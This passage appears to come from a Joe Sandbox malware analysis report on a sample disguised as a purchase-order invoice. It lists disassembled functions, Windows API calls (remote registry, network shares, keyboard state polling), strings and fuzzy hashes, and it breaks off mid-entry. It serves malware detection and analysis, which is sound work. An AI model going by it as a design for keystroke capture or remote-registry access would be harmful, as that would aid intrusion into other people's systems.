                                                                                            • CoTaskMemFree.OLE32(?,00000000), ref: 00458335
                                                                                            • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                                                                                            • RegQueryValueExW.ADVAPI32 ref: 00458381
                                                                                            • CLSIDFromString.OLE32(00000000,?), ref: 004583AF
                                                                                            • RegQueryValueExW.ADVAPI32 ref: 004583E8
                                                                                            • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                                                                              • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                                                                                            • RegCloseKey.ADVAPI32(?), ref: 004584BA
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
                                                                                            • String ID: Version$\TypeLib$interface\
                                                                                            • API String ID: 656856066-939221531
                                                                                            • Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                            • Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
                                                                                            • Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                            • Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                                                                                            Function 0045E62E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 155COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                                                                                            • __swprintf.LIBCMT ref: 0045E6EE
                                                                                            • _printf.LIBCMT ref: 0045E7A9
                                                                                            • _printf.LIBCMT ref: 0045E7D2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: LoadString_printf$__swprintf_wcslen
                                                                                            • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                            • API String ID: 3590180749-2354261254
                                                                                            • Opcode ID: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                            • Instruction ID: 835382aeb01427732dc6b750cf2ba574ed77461063debdd42288bdc21f9728b4
                                                                                            • Opcode Fuzzy Hash: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                            • Instruction Fuzzy Hash: B051D5715143019BD324FB51CC41EAF77A8AF84354F14093FF94563292DB78AE49CB6A
                                                                                            Function 004580E1 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 136registryshareCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            • _memset.LIBCMT ref: 00458194
                                                                                            • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                                                                                            • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                                                                                            • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                                                                                            • CLSIDFromString.OLE32(00000000,?), ref: 00458279
                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
                                                                                            • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                            • API String ID: 2255324689-22481851
                                                                                            • Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                            • Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
                                                                                            • Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                            • Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A
                                                                                            Function 004584D6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 105registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                                                                                            • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00458615
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                                                                                            • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                                                                                            • __wcsicoll.LIBCMT ref: 004585D6
                                                                                            • IIDFromString.OLE32(?,?,?,?), ref: 004585EB
                                                                                            • RegCloseKey.ADVAPI32(?), ref: 004585F8
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
                                                                                            • String ID: ($interface$interface\
                                                                                            • API String ID: 2231185022-3327702407
                                                                                            • Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                            • Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
                                                                                            • Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                            • Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A
                                                                                            Function 00436582 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 79networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                                                                                            • String ID: 0.0.0.0
                                                                                            • API String ID: 2691793716-3771769585
                                                                                            • Opcode ID: 65646d0c3f70c30576c3209c49215e1e6413ca059fa52035c9da78ad10046a0d
                                                                                            • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                                                                                            • Opcode Fuzzy Hash: 65646d0c3f70c30576c3209c49215e1e6413ca059fa52035c9da78ad10046a0d
                                                                                            • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                                                                                            Function 00416B12 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416B24
                                                                                            • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                                                                              • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 0041178B
                                                                                              • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00411739,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 00411794
                                                                                            • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                                                                                            • GetProcAddress.KERNEL32(00411739,DecodePointer), ref: 00416B68
                                                                                            • __lock.LIBCMT ref: 00416B8A
                                                                                            • InterlockedIncrement.KERNEL32(00EA60FF), ref: 00416B97
                                                                                            • __lock.LIBCMT ref: 00416BAB
                                                                                            • ___addlocaleref.LIBCMT ref: 00416BC9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                                                                            • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                                            • API String ID: 1028249917-2843748187
                                                                                            • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                            • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                                                                                            • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                            • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
                                                                                            Function 0044920C Relevance: 18.2, APIs: 12, Instructions: 243windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                                                                                            • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                                                                                            • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                                                                                            • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
                                                                                            • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                                                                                            • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                                                                                            • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$CharNext
                                                                                            • String ID:
                                                                                            • API String ID: 1350042424-0
                                                                                            • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                            • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                                                                                            • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                            • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                                                                                            Function 00453B94 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                                                                                            • SetKeyboardState.USER32(?), ref: 00453C5A
                                                                                            • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                                                                                            • GetKeyState.USER32(000000A0), ref: 00453C99
                                                                                            • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                                                                                            • GetKeyState.USER32(000000A1), ref: 00453CDA
                                                                                            • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                                                                                            • GetKeyState.USER32(00000011), ref: 00453D15
                                                                                            • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                                                                                            • GetKeyState.USER32(00000012), ref: 00453D4D
                                                                                            • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                                                                                            • GetKeyState.USER32(0000005B), ref: 00453D85
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: State$Async$Keyboard
                                                                                            • String ID:
                                                                                            • API String ID: 541375521-0
                                                                                            • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                            • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                                                                                            • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                            • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                                                                                            Function 00437DB1 Relevance: 18.2, APIs: 12, Instructions: 180COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetDlgItem.USER32(?,00000001), ref: 00437DD7
                                                                                            • GetWindowRect.USER32(00000000,?), ref: 00437DE9
                                                                                            • MoveWindow.USER32(00000000,0000000A,?,?,?,00000000), ref: 00437E5C
                                                                                            • GetDlgItem.USER32(?,00000002), ref: 00437E70
                                                                                            • GetWindowRect.USER32(00000000,?), ref: 00437E82
                                                                                            • MoveWindow.USER32(00000000,?,00000000,?,?,00000000), ref: 00437EDB
                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00437EEA
                                                                                            • GetWindowRect.USER32(00000000,?), ref: 00437EFC
                                                                                            • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00437F46
                                                                                            • GetDlgItem.USER32(?,000003EA), ref: 00437F55
                                                                                            • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 00437F6E
                                                                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 00437F78
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$ItemMoveRect$Invalidate
                                                                                            • String ID:
                                                                                            • API String ID: 3096461208-0
                                                                                            • Opcode ID: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                            • Instruction ID: 6334a21bf5495bf578199e0a0c43900503e40640961724061e29feeedb49a886
                                                                                            • Opcode Fuzzy Hash: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                            • Instruction Fuzzy Hash: 46511CB16083069FC318DF68DD85A2BB7E9ABC8300F144A2DF985D3391E6B4ED058B95
                                                                                            Function 00436879 Relevance: 18.1, APIs: 12, Instructions: 115COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                                            • String ID:
                                                                                            • API String ID: 136442275-0
                                                                                            • Opcode ID: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                            • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                                                                                            • Opcode Fuzzy Hash: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                            • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                                                                                            Function 0046B39A Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 401registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ConnectRegistry_wcslen
                                                                                            • String ID: HH
                                                                                            • API String ID: 535477410-2761332787
                                                                                            • Opcode ID: dd977f09bea9308b610c7238e96fb584538275b520f46e9374bb1ad9d3878166
                                                                                            • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                                                                                            • Opcode Fuzzy Hash: dd977f09bea9308b610c7238e96fb584538275b520f46e9374bb1ad9d3878166
                                                                                            • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                                                                                            Function 00460473 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                                                                                            • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                                                                                            • _wcslen.LIBCMT ref: 00460502
                                                                                            • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                                                                                            • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                                                                                            • GetWindowRect.USER32(?,?), ref: 004606AD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                                                                                            • String ID: ThumbnailClass
                                                                                            • API String ID: 4123061591-1241985126
                                                                                            • Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                            • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                                                                                            • Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                            • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                                                                                            Function 0046F50B Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 157windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                              • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                              • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                              • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                            • DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                                                                                            • ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
                                                                                            • ImageList_EndDrag.COMCTL32 ref: 0046F583
                                                                                            • ReleaseCapture.USER32 ref: 0046F589
                                                                                            • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                                                                                            • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                                                                                            • String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
                                                                                            • API String ID: 2483343779-2060113733
                                                                                            • Opcode ID: 5127d0ffcd17cb1bef4f2f1971358f36b919fc832d8745dd5c7fc1032c5585dd
                                                                                            • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
